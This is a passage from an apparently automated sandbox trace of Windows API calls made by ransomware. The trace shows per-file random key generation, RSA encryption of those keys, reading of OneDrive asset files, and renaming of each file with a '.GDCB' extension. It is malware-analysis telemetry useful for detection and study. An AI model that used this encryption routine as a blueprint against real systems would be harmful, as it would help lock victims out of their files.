pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.526] CryptEncrypt (in: hKey=0x4f809d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.526] GetLastError () returned 0x0 [0182.526] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.526] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\onedrivelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.529] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5900000 [0182.530] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5910000 [0182.531] ReadFile (in: hFile=0x514, lpBuffer=0x5910000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5910000*, lpNumberOfBytesRead=0x285d3e8*=0x123c, lpOverlapped=0x0) returned 1 [0182.540] VirtualAlloc (lpAddress=0x0, dwSize=0x1240, flAllocationType=0x3000, flProtect=0x4) returned 0x5a20000 [0182.545] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\onedrivelogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\OneDriveLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\onedrivelogo.png.gdcb")) returned 0 [0182.602] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0182.603] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.604] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.604] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.604] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.604] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.605] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.607] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.607] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.607] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.607] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.609] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80818) returned 1 [0182.609] CryptGetKeyParam (in: hKey=0x4f80818, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.609] CryptEncrypt (in: hKey=0x4f80818, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.609] GetLastError () returned 0x0 [0182.609] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.610] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0182.612] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80b18) returned 1 [0182.612] CryptGetKeyParam (in: hKey=0x4f80b18, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.612] CryptEncrypt (in: hKey=0x4f80b18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.612] GetLastError () returned 0x0 [0182.612] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.612] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotacritical.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.614] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5900000 [0182.616] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5910000 [0182.617] ReadFile (in: hFile=0x514, lpBuffer=0x5910000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5910000*, lpNumberOfBytesRead=0x285d3e8*=0x2266, lpOverlapped=0x0) returned 1 [0182.636] VirtualAlloc (lpAddress=0x0, dwSize=0x2270, flAllocationType=0x3000, flProtect=0x4) returned 0x5a20000 [0182.640] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaCritical.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotacritical.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaCritical.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotacritical.png.gdcb")) returned 0 [0182.645] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0182.646] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.647] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.647] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.647] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.647] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.648] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.649] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.649] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.650] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0182.652] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80ad8) returned 1 [0182.652] CryptGetKeyParam (in: hKey=0x4f80ad8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.652] CryptEncrypt (in: hKey=0x4f80ad8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.652] GetLastError () returned 0x0 [0182.652] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.652] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0182.654] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80798) returned 1 [0182.654] CryptGetKeyParam (in: hKey=0x4f80798, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.654] CryptEncrypt (in: hKey=0x4f80798, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.654] GetLastError () returned 0x0 [0182.654] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.655] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaError.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotaerror.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.656] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5900000 [0182.658] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5910000 [0182.659] ReadFile (in: hFile=0x514, lpBuffer=0x5910000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5910000*, lpNumberOfBytesRead=0x285d3e8*=0x244a, lpOverlapped=0x0) returned 1 [0182.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2450, flAllocationType=0x3000, flProtect=0x4) returned 0x5a20000 [0182.688] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaError.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotaerror.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaError.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotaerror.png.gdcb")) returned 1 [0182.694] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0182.696] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.697] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.697] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.697] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0182.697] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.698] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.699] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.700] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.700] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.700] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0182.702] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f806d8) returned 1 [0182.702] CryptGetKeyParam (in: hKey=0x4f806d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.702] CryptEncrypt (in: hKey=0x4f806d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.703] GetLastError () returned 0x0 [0182.703] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.703] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0182.705] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f807d8) returned 1 [0182.705] CryptGetKeyParam (in: hKey=0x4f807d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.705] CryptEncrypt (in: hKey=0x4f807d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.705] GetLastError () returned 0x0 [0182.705] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.706] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotanearing.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.708] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5900000 [0182.710] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5910000 [0182.711] ReadFile (in: hFile=0x514, lpBuffer=0x5910000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5910000*, lpNumberOfBytesRead=0x285d3e8*=0x1d59, lpOverlapped=0x0) returned 1 [0182.754] VirtualAlloc (lpAddress=0x0, dwSize=0x1d60, flAllocationType=0x3000, flProtect=0x4) returned 0x5a20000 [0182.758] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaNearing.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotanearing.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\QuotaNearing.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\quotanearing.png.gdcb")) returned 0 [0182.768] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0182.770] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.770] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.770] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.770] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.770] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0182.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.772] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.772] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.773] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0182.775] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f805d8) returned 1 [0182.775] CryptGetKeyParam (in: hKey=0x4f805d8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.775] CryptEncrypt (in: hKey=0x4f805d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.775] GetLastError () returned 0x0 [0182.775] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.775] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0182.777] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80718) returned 1 [0182.777] CryptGetKeyParam (in: hKey=0x4f80718, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.777] CryptEncrypt (in: hKey=0x4f80718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.778] GetLastError () returned 0x0 [0182.778] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.778] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\screenshotoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0182.780] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5900000 [0182.781] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5910000 [0182.782] ReadFile (in: hFile=0x514, lpBuffer=0x5910000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5910000*, lpNumberOfBytesRead=0x285d3e8*=0x3b721, lpOverlapped=0x0) returned 1 [0182.818] VirtualAlloc (lpAddress=0x0, dwSize=0x3b730, flAllocationType=0x3000, flProtect=0x4) returned 0x5a20000 [0182.828] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ScreenshotOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\screenshotoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\ScreenshotOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\screenshotoptin.gif.gdcb")) returned 0 [0182.844] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0182.845] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.846] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.846] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0182.846] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0182.847] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0182.848] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0182.849] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0182.849] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0182.849] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.849] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0182.851] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80b98) returned 1 [0182.851] CryptGetKeyParam (in: hKey=0x4f80b98, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.851] CryptEncrypt (in: hKey=0x4f80b98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x58e0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0182.851] GetLastError () returned 0x0 [0182.851] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0182.851] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0182.853] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80558) returned 1 [0182.853] CryptGetKeyParam (in: hKey=0x4f80558, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0182.853] CryptEncrypt (in: hKey=0x4f80558, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x58f0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0182.854] GetLastError () returned 0x0 [0182.854] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0182.854] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\TestSharePage.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\testsharepage.html"), dwDesiredAccess=0xc0000000, 